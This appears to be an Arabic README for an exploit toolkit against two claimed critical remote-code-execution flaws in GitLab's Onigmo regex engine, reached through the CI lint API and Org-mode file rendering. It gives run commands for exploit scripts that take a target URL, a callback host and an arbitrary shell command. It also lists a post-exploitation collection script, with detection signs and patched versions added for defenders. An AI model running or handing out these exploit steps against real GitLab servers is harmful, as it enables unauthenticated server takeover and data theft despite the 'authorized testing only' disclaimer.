
CVE-2026-97229 + CVE-2026-110264 — مجموعة أدوات استغلال RCE في GitLab Onigmo (CVSS 10.0)
CVE-2026-97229 + CVE-2026-110264 — ثغرتان حرجتان (CVSS 10.0) لتنفيذ التعليمات البرمجية عن بُعد (RCE) دون مصادقة في GitLab CE/EE عبر تجاوز سعة عدد صحيح في محرك التعبيرات النمطية Onigmo.
للاختبار المصرّح به فقط. يجب أن يكون كل هدف ملكًا لك أو مشمولًا بتصريح كتابي.
| CVE | المتجه | المتأثر | المُشغِّل | المصادقة المطلوبة |
|---|---|---|---|---|
| CVE-2026-97229 | مُصرِّف التعبيرات النمطية في CI/CD | 19.2.0–19.4.1 | GET /api/v4/projects/:id/ci/lint | مُشغِّل دون مصادقة (صلاحية كتابة للإعداد) |
| CVE-2026-110264 | عرض .org في Org-mode | 7.0–19.5.0 | عرض ملف .org مُصمَّم | لا حاجة إلى حساب |
تستغل كلتا الثغرتين السبب الجذري نفسه: تجاوز سعة عدد صحيح في محرك التعبيرات النمطية Onigmo ← كتابة خارج الحدود (OOB write) ← اختطاف الآلة الافتراضية ← system(). الفرق يكمن في مسار التسليم:
rules:exists:regexp داخل .gitlab-ci.yml ← واجهة CI lint البرمجية#+TODO: في ملف .org ← مُصيِّر Org-mode# CVE-2026-97229 — CI lint path
python3 exploit/cve97229.py --url http://target:8080 \
--token glpat-xxx --callback-host YOUR_IP \
--command 'id; hostname' --authorized --scope scope.txt
# CVE-2026-110264 — Org-mode path (no auth needed!)
python3 exploit/cve110264.py --url http://target:8080 \
--callback-host YOUR_IP --command 'id'
# Probe only (no exploitation)
python3 exploit/cve97229.py --url http://target --probe-only
python3 exploit/cve110264.py --url http://target --probe-only
exploit/
├── cve97229.py # CI lint regex RCE (CVE-2026-97229)
├── cve110264.py # Org-mode render RCE (CVE-2026-110264)
├── layout.py # libruby.so offset derivation
├── common.py # shared Onigmo payload + callback server
└── post/
└── collect.sh # post-exploitation collection
lab/
├── run.sh # Docker lab launcher
└── stop.sh # Lab cleanup
docs/
├── CVE-2026-97229.md # Technical analysis
└── CVE-2026-110264.md # Technical analysis
ثلاث إشارات لكلتا الثغرتين:
[BUG] Segmentation fault مع إطارات org-ruby أو regexp_matcher.rbbadgateway: failed to receive response: EOF(?#)، تكرارات [[:word:]]، مسارات UTF-8 بأربعة بايتات| CVE | المُصلَح |
|---|---|
| CVE-2026-97229 | 19.2.8, 19.3.5, 19.4.2 |
| CVE-2026-110264 | 18.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, 19.5.1 |
MIT — لاختبارات الأمان المصرّح بها فقط.